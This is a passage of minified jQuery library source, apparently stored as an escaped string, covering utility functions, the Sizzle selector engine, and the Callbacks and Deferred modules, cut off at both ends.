e},isPlainObject:function(e){if(\"object\"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!y.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(t){return!1}return!0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||\"string\"!=typeof e)return null;\"boolean\"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:JSON.parse,parseXML:function(e){var t,n;if(!e||\"string\"!=typeof e)return null;try{n=new DOMParser,t=n.parseFromString(e,\"text/xml\")}catch(r){t=undefined}return(!t||t.getElementsByTagName(\"parsererror\").length)&&x.error(\"Invalid XML: \"+e),t},noop:function(){},globalEval:function(e){var t,n=eval;e=x.trim(e),e&&(1===e.indexOf(\"use strict\")?(t=o.createElement(\"script\"),t.text=e,o.head.appendChild(t).parentNode.removeChild(t)):n(e))},camelCase:function(e){return e.replace(k,\"ms-\").replace(N,E)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,s=j(e);if(n){if(s){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(s){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?\"\":v.call(e)},makeArray:function(e,t){var n=t||[];return null!=e&&(j(Object(e))?x.merge(n,\"string\"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:g.call(t,e,n)},merge:function(e,t){var n=t.length,r=e.length,i=0;if(\"number\"==typeof n)for(;n>i;i++)e[r++]=t[i];else while(t[i]!==undefined)e[r++]=t[i++];return e.length=r,e},grep:function(e,t,n){var r,i=[],o=0,s=e.length;for(n=!!n;s>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,s=j(e),a=[];if(s)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(a[a.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(a[a.length]=r);return f.apply([],a)},guid:1,proxy:function(e,t){var n,r,i;return\"string\"==typeof t&&(n=e[t],t=e,e=n),x.isFunction(e)?(r=d.call(arguments,2),i=function(){return e.apply(t||this,r.concat(d.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):undefined},access:function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if(\"object\"===x.type(n)){i=!0;for(a in n)x.access(e,t,a,n[a],!0,o,s)}else if(r!==undefined&&(i=!0,x.isFunction(r)||(s=!0),l&&(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(x(e),n)})),t))for(;u>a;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},now:Date.now,swap:function(e,t,n,r){var i,o,s={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n||(n=x.Deferred(),\"complete\"===o.readyState?setTimeout(x.ready):(o.addEventListener(\"DOMContentLoaded\",S,!1),e.addEventListener(\"load\",S,!1))),n.promise(t)},x.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function j(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:\"array\"===n||\"function\"!==n&&(0===t||\"number\"==typeof t&&t>0&&t-1 in e)}t=x(o),function(e,undefined){var t,n,r,i,o,s,a,u,l,c,p,f,h,d,g,m,y,v=\"sizzle\"+-new Date,b=e.document,w=0,T=0,C=st(),k=st(),N=st(),E=!1,S=function(e,t){return e===t?(E=!0,0):0},j=typeof undefined,D=1<<31,A={}.hasOwnProperty,L=[],q=L.pop,H=L.push,O=L.push,F=L.slice,P=L.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},R=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",M=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",W=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",$=W.replace(\"w\",\"w#\"),B=\"\\\\[\"+M+\"*(\"+W+\")\"+M+\"*(?:([*^$|!~]?=)\"+M+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+$+\")|)|)\"+M+\"*\\\\]\",I=\":(\"+W+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+B.replace(3,8)+\")*)|.*)\\\\)|)\",z=RegExp(\"^\"+M+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+M+\"+$\",\"g\"),_=RegExp(\"^\"+M+\"*,\"+M+\"*\"),X=RegExp(\"^\"+M+\"*([>+~]|\"+M+\")\"+M+\"*\"),U=RegExp(M+\"*[+~]\"),Y=RegExp(\"=\"+M+\"*([^\\\\]'\\\"]*)\"+M+\"*\\\\]\",\"g\"),V=RegExp(I),G=RegExp(\"^\"+$+\"$\"),J={ID:RegExp(\"^#(\"+W+\")\"),CLASS:RegExp(\"^\\\\.(\"+W+\")\"),TAG:RegExp(\"^(\"+W.replace(\"w\",\"w*\")+\")\"),ATTR:RegExp(\"^\"+B),PSEUDO:RegExp(\"^\"+I),CHILD:RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+M+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+M+\"*(?:([+-]|)\"+M+\"*(\\\\d+)|))\"+M+\"*\\\\)|)\",\"i\"),bool:RegExp(\"^(?:\"+R+\")$\",\"i\"),needsContext:RegExp(\"^\"+M+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+M+\"*((?:-\\\\d)?\\\\d*)\"+M+\"*\\\\)|)(?=[^-]|$)\",\"i\")},Q=/^[^{]+\\{\\s*\\[native \\w/,K=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,Z=/^(?:input|select|textarea|button)$/i,et=/^h\\d$/i,tt=/'|\\\\/g,nt=RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+M+\"?|(\"+M+\")|.)\",\"ig\"),rt=function(e,t,n){var r=\"0x\"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{O.apply(L=F.call(b.childNodes),b.childNodes),L[b.childNodes.length].nodeType}catch(it){O={apply:L.length?function(e,t){H.apply(e,F.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function ot(e,t,r,i){var o,s,a,u,l,f,g,m,x,w;if((t?t.ownerDocument||t:b)!==p&&c(t),t=t||p,r=r||[],!e||\"string\"!=typeof e)return r;if(1!==(u=t.nodeType)&&9!==u)return[];if(h&&!i){if(o=K.exec(e))if(a=o[1]){if(9===u){if(s=t.getElementById(a),!s||!s.parentNode)return r;if(s.id===a)return r.push(s),r}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(a))&&y(t,s)&&s.id===a)return r.push(s),r}else{if(o[2])return O.apply(r,t.getElementsByTagName(e)),r;if((a=o[3])&&n.getElementsByClassName&&t.getElementsByClassName)return O.apply(r,t.getElementsByClassName(a)),r}if(n.qsa&&(!d||!d.test(e))){if(m=g=v,x=t,w=9===u&&e,1===u&&\"object\"!==t.nodeName.toLowerCase()){f=gt(e),(g=t.getAttribute(\"id\"))?m=g.replace(tt,\"\\\\$&\"):t.setAttribute(\"id\",m),m=\"[id='\"+m+\"'] \",l=f.length;while(l--)f[l]=m+mt(f[l]);x=U.test(e)&&t.parentNode||t,w=f.join(\",\")}if(w)try{return O.apply(r,x.querySelectorAll(w)),r}catch(T){}finally{g||t.removeAttribute(\"id\")}}}return kt(e.replace(z,\"$1\"),t,r,i)}function st(){var e=[];function t(n,r){return e.push(n+=\" \")>i.cacheLength&&delete t[e.shift()],t[n]=r}return t}function at(e){return e[v]=!0,e}function ut(e){var t=p.createElement(\"div\");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function lt(e,t){var n=e.split(\"|\"),r=e.length;while(r--)i.attrHandle[n[r]]=t}function ct(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function pt(e){return function(t){var n=t.nodeName.toLowerCase();return\"input\"===n&&t.type===e}}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return(\"input\"===n||\"button\"===n)&&t.type===e}}function ht(e){return at(function(t){return t=+t,at(function(n,r){var i,o=e([],n.length,t),s=o.length;while(s--)n[i=o[s]]&&(n[i]=!(r[i]=n[i]))})})}s=ot.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?\"HTML\"!==t.nodeName:!1},n=ot.support={},c=ot.setDocument=function(e){var t=e?e.ownerDocument||e:b,r=t.defaultView;return t!==p&&9===t.nodeType&&t.documentElement?(p=t,f=t.documentElement,h=!s(t),r&&r.attachEvent&&r!==r.top&&r.attachEvent(\"onbeforeunload\",function(){c()}),n.attributes=ut(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),n.getElementsByTagName=ut(function(e){return e.appendChild(t.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),n.getElementsByClassName=ut(function(e){return e.innerHTML=\"<div class='a'></div><div class='a i'></div>\",e.firstChild.className=\"i\",2===e.getElementsByClassName(\"i\").length}),n.getById=ut(function(e){return f.appendChild(e).id=v,!t.getElementsByName||!t.getElementsByName(v).length}),n.getById?(i.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){return e.getAttribute(\"id\")===t}}):(delete i.find.ID,i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode(\"id\");return n&&n.value===t}}),i.find.TAG=n.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==j?t.getElementsByTagName(e):undefined}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if(\"*\"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.CLASS=n.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==j&&h?t.getElementsByClassName(e):undefined},g=[],d=[],(n.qsa=Q.test(t.querySelectorAll))&&(ut(function(e){e.innerHTML=\"<select><option selected=''></option></select>\",e.querySelectorAll(\"[selected]\").length||d.push(\"\\\\[\"+M+\"*(?:value|\"+R+\")\"),e.querySelectorAll(\":checked\").length||d.push(\":checked\")}),ut(function(e){var n=t.createElement(\"input\");n.setAttribute(\"type\",\"hidden\"),e.appendChild(n).setAttribute(\"t\",\"\"),e.querySelectorAll(\"[t^='']\").length&&d.push(\"[*^$]=\"+M+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\":enabled\").length||d.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),d.push(\",.*:\")})),(n.matchesSelector=Q.test(m=f.webkitMatchesSelector||f.mozMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&ut(function(e){n.disconnectedMatch=m.call(e,\"div\"),m.call(e,\"[s!='']:x\"),g.push(\"!=\",I)}),d=d.length&&RegExp(d.join(\"|\")),g=g.length&&RegExp(g.join(\"|\")),y=Q.test(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},S=f.compareDocumentPosition?function(e,r){if(e===r)return E=!0,0;var i=r.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(r);return i?1&i||!n.sortDetached&&r.compareDocumentPosition(e)===i?e===t||y(b,e)?-1:r===t||y(b,r)?1:l?P.call(l,e)-P.call(l,r):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,n){var r,i=0,o=e.parentNode,s=n.parentNode,a=[e],u=[n];if(e===n)return E=!0,0;if(!o||!s)return e===t?-1:n===t?1:o?-1:s?1:l?P.call(l,e)-P.call(l,n):0;if(o===s)return ct(e,n);r=e;while(r=r.parentNode)a.unshift(r);r=n;while(r=r.parentNode)u.unshift(r);while(a[i]===u[i])i++;return i?ct(a[i],u[i]):a[i]===b?-1:u[i]===b?1:0},t):p},ot.matches=function(e,t){return ot(e,null,null,t)},ot.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Y,\"='$1']\"),!(!n.matchesSelector||!h||g&&g.test(t)||d&&d.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return ot(t,p,null,[e]).length>0},ot.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},ot.attr=function(e,t){(e.ownerDocument||e)!==p&&c(e);var r=i.attrHandle[t.toLowerCase()],o=r&&A.call(i.attrHandle,t.toLowerCase())?r(e,t,!h):undefined;return o===undefined?n.attributes||!h?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null:o},ot.error=function(e){throw Error(\"Syntax error, unrecognized expression: \"+e)},ot.uniqueSort=function(e){var t,r=[],i=0,o=0;if(E=!n.detectDuplicates,l=!n.sortStable&&e.slice(0),e.sort(S),E){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return e},o=ot.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=ot.selectors={cacheLength:50,createPseudo:at,match:J,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(nt,rt),e[3]=(e[4]||e[5]||\"\").replace(nt,rt),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||ot.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&ot.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return J.CHILD.test(e[0])?null:(e[3]&&e[4]!==undefined?e[2]=e[4]:n&&V.test(n)&&(t=gt(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(nt,rt).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=C[e+\" \"];return t||(t=RegExp(\"(^|\"+M+\")\"+e+\"(\"+M+\"|$)\"))&&C(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute(\"class\")||\"\")})},ATTR:function(e,t,n){return function(r){var i=ot.attr(r,e);return null==i?\"!=\"===t:t?(i+=\"\",\"=\"===t?i===n:\"!=\"===t?i!==n:\"^=\"===t?n&&0===i.indexOf(n):\"*=\"===t?n&&i.indexOf(n)>-1:\"$=\"===t?n&&i.slice(-n.length)===n:\"~=\"===t?(\" \"+i+\" \").indexOf(n)>-1:\"|=\"===t?i===n||i.slice(0,n.length+1)===n+\"-\":!1):!0}},CHILD:function(e,t,n,r,i){var o=\"nth\"!==e.slice(0,3),s=\"last\"!==e.slice(-4),a=\"of-type\"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,h,d,g=o!==s?\"nextSibling\":\"previousSibling\",m=t.parentNode,y=a&&t.nodeName.toLowerCase(),x=!u&&!a;if(m){if(o){while(g){p=t;while(p=p[g])if(a?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;d=g=\"only\"===e&&!d&&\"nextSibling\"}return!0}if(d=[s?m.firstChild:m.lastChild],s&&x){c=m[v]||(m[v]={}),l=c[e]||[],h=l[0]===w&&l[1],f=l[0]===w&&l[2],p=h&&m.childNodes[h];while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[w,h,f];break}}else if(x&&(l=(t[v]||(t[v]={}))[e])&&l[0]===w)f=l[1];else while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if((a?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(x&&((p[v]||(p[v]={}))[e]=[w,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||ot.error(\"unsupported pseudo: \"+e);return r[v]?r(t):r.length>1?(n=[e,e,\"\",t],i.setFilters.hasOwnProperty(e.toLowerCase())?at(function(e,n){var i,o=r(e,t),s=o.length;while(s--)i=P.call(e,o[s]),e[i]=!(n[i]=o[s])}):function(e){return r(e,0,n)}):r}},pseudos:{not:at(function(e){var t=[],n=[],r=a(e.replace(z,\"$1\"));return r[v]?at(function(e,t,n,i){var o,s=r(e,null,i,[]),a=e.length;while(a--)(o=s[a])&&(e[a]=!(t[a]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:at(function(e){return function(t){return ot(e,t).length>0}}),contains:at(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:at(function(e){return G.test(e||\"\")||ot.error(\"unsupported lang: \"+e),e=e.replace(nt,rt).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute(\"xml:lang\")||t.getAttribute(\"lang\"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+\"-\");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>\"@\"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return et.test(e.nodeName)},input:function(e){return Z.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(t=e.getAttribute(\"type\"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},i.pseudos.nth=i.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[t]=pt(t);for(t in{submit:!0,reset:!0})i.pseudos[t]=ft(t);function dt(){}dt.prototype=i.filters=i.pseudos,i.setFilters=new dt;function gt(e,t){var n,r,o,s,a,u,l,c=k[e+\" \"];if(c)return t?0:c.slice(0);a=e,u=[],l=i.preFilter;while(a){(!n||(r=_.exec(a)))&&(r&&(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=X.exec(a))&&(n=r.shift(),o.push({value:n,type:r[0].replace(z,\" \")}),a=a.slice(n.length));for(s in i.filter)!(r=J[s].exec(a))||l[s]&&!(r=l[s](r))||(n=r.shift(),o.push({value:n,type:s,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?ot.error(e):k(e,u).slice(0)}function mt(e){var t=0,n=e.length,r=\"\";for(;n>t;t++)r+=e[t].value;return r}function yt(e,t,n){var i=t.dir,o=n&&\"parentNode\"===i,s=T++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,a){var u,l,c,p=w+\" \"+s;if(a){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,a))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[v]||(t[v]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,a)||r,l[1]===!0)return!0}}function vt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,s=[],a=0,u=e.length,l=null!=t;for(;u>a;a++)(o=e[a])&&(!n||n(o,r,i))&&(s.push(o),l&&t.push(a));return s}function bt(e,t,n,r,i,o){return r&&!r[v]&&(r=bt(r)),i&&!i[v]&&(i=bt(i,o)),at(function(o,s,a,u){var l,c,p,f=[],h=[],d=s.length,g=o||Ct(t||\"*\",a.nodeType?[a]:a,[]),m=!e||!o&&t?g:xt(g,f,e,a,u),y=n?i||(o?e:d||r)?[]:s:m;if(n&&n(m,y,a,u),r){l=xt(y,h),r(l,[],a,u),c=l.length;while(c--)(p=l[c])&&(y[h[c]]=!(m[h[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?P.call(o,p):f[c])>-1&&(o[l]=!(s[l]=p))}}else y=xt(y===s?y.splice(d,y.length):y),i?i(null,s,y,u):O.apply(s,y)})}function wt(e){var t,n,r,o=e.length,s=i.relative[e[0].type],a=s||i.relative[\" \"],l=s?1:0,c=yt(function(e){return e===t},a,!0),p=yt(function(e){return P.call(t,e)>-1},a,!0),f=[function(e,n,r){return!s&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>l;l++)if(n=i.relative[e[l].type])f=[yt(vt(f),n)];else{if(n=i.filter[e[l].type].apply(null,e[l].matches),n[v]){for(r=++l;o>r;r++)if(i.relative[e[r].type])break;return bt(l>1&&vt(f),l>1&&mt(e.slice(0,l-1).concat({value:\" \"===e[l-2].type?\"*\":\"\"})).replace(z,\"$1\"),n,r>l&&wt(e.slice(l,r)),o>r&&wt(e=e.slice(r)),o>r&&mt(e))}f.push(n)}return vt(f)}function Tt(e,t){var n=0,o=t.length>0,s=e.length>0,a=function(a,l,c,f,h){var d,g,m,y=[],v=0,x=\"0\",b=a&&[],T=null!=h,C=u,k=a||s&&i.find.TAG(\"*\",h&&l.parentNode||l),N=w+=null==C?1:Math.random()||.1;for(T&&(u=l!==p&&l,r=n);null!=(d=k[x]);x++){if(s&&d){g=0;while(m=e[g++])if(m(d,l,c)){f.push(d);break}T&&(w=N,r=++n)}o&&((d=!m&&d)&&v--,a&&b.push(d))}if(v+=x,o&&x!==v){g=0;while(m=t[g++])m(b,y,l,c);if(a){if(v>0)while(x--)b[x]||y[x]||(y[x]=q.call(f));y=xt(y)}O.apply(f,y),T&&!a&&y.length>0&&v+t.length>1&&ot.uniqueSort(f)}return T&&(w=N,u=C),b};return o?at(a):a}a=ot.compile=function(e,t){var n,r=[],i=[],o=N[e+\" \"];if(!o){t||(t=gt(e)),n=t.length;while(n--)o=wt(t[n]),o[v]?r.push(o):i.push(o);o=N(e,Tt(i,r))}return o};function Ct(e,t,n){var r=0,i=t.length;for(;i>r;r++)ot(e,t[r],n);return n}function kt(e,t,r,o){var s,u,l,c,p,f=gt(e);if(!o&&1===f.length){if(u=f[0]=f[0].slice(0),u.length>2&&\"ID\"===(l=u[0]).type&&n.getById&&9===t.nodeType&&h&&i.relative[u[1].type]){if(t=(i.find.ID(l.matches[0].replace(nt,rt),t)||[])[0],!t)return r;e=e.slice(u.shift().value.length)}s=J.needsContext.test(e)?0:u.length;while(s--){if(l=u[s],i.relative[c=l.type])break;if((p=i.find[c])&&(o=p(l.matches[0].replace(nt,rt),U.test(u[0].type)&&t.parentNode||t))){if(u.splice(s,1),e=o.length&&mt(u),!e)return O.apply(r,o),r;break}}}return a(e,f)(o,t,!h,r,U.test(e)),r}n.sortStable=v.split(\"\").sort(S).join(\"\")===v,n.detectDuplicates=E,c(),n.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(p.createElement(\"div\"))}),ut(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||lt(\"type|href|height|width\",function(e,t,n){return n?undefined:e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),n.attributes&&ut(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||lt(\"value\",function(e,t,n){return n||\"input\"!==e.nodeName.toLowerCase()?undefined:e.defaultValue}),ut(function(e){return null==e.getAttribute(\"disabled\")})||lt(R,function(e,t,n){var r;return n?undefined:(r=e.getAttributeNode(t))&&r.specified?r.value:e[t]===!0?t.toLowerCase():null}),x.find=ot,x.expr=ot.selectors,x.expr[\":\"]=x.expr.pseudos,x.unique=ot.uniqueSort,x.text=ot.getText,x.isXMLDoc=ot.isXML,x.contains=ot.contains}(e);var D={};function A(e){var t=D[e]={};return x.each(e.match(w)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e=\"string\"==typeof e?D[e]||A(e):x.extend({},e);var t,n,r,i,o,s,a=[],u=!e.once&&[],l=function(p){for(t=e.memory&&p,n=!0,s=i||0,i=0,o=a.length,r=!0;a&&o>s;s++)if(a[s].apply(p[0],p[1])===!1&&e.stopOnFalse){t=!1;break}r=!1,a&&(u?u.length&&l(u.shift()):t?a=[]:c.disable())},c={add:function(){if(a){var n=a.length;(function s(t){x.each(t,function(t,n){var r=x.type(n);\"function\"===r?e.unique&&c.has(n)||a.push(n):n&&n.length&&\"string\"!==r&&s(n)})})(arguments),r?o=a.length:t&&(i=n,l(t))}return this},remove:function(){return a&&x.each(arguments,function(e,t){var n;while((n=x.inArray(t,a,n))>-1)a.splice(n,1),r&&(o>=n&&o--,s>=n&&s--)}),this},has:function(e){return e?x.inArray(e,a)>-1:!(!a||!a.length)},empty:function(){return a=[],o=0,this},disable:function(){return a=u=t=undefined,this},disabled:function(){return!a},lock:function(){return u=undefined,t||c.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!a||n&&!u||(t=t||[],t=[e,t.slice?t.slice():t],r?u.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!n}};return c},x.extend({Deferred:function(e){var t=[[\"resolve\",\"done\",x.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",x.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",x.Callbacks(\"memory\")]],n=\"pending\",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var s=o[0],a=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+\"With\"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var s=o[2],a=o[3];r[o[1]]=s.add,a&&s.add(function(){n=a},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+\"With\"](this===i?r:this,arguments),this},i[o[0]+\"With\"]=s.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=d.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),s=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?d.call(arguments):r,n===a?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},a,u,l;if(r>1)for(a=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(s(t,l,n)).fail(o.reject).progress(s(t,u,a)):--i;return i||o.resolveWith(l,n),o.promise()}}),x.support=function(t){var n=o.createElement(\"input\"),r=o.createDocumentFragment(),i=o.createElement(\"div\"),s=o.createElement(\"select\"),a=s.appendChild(o.createElement(\"option\"));return 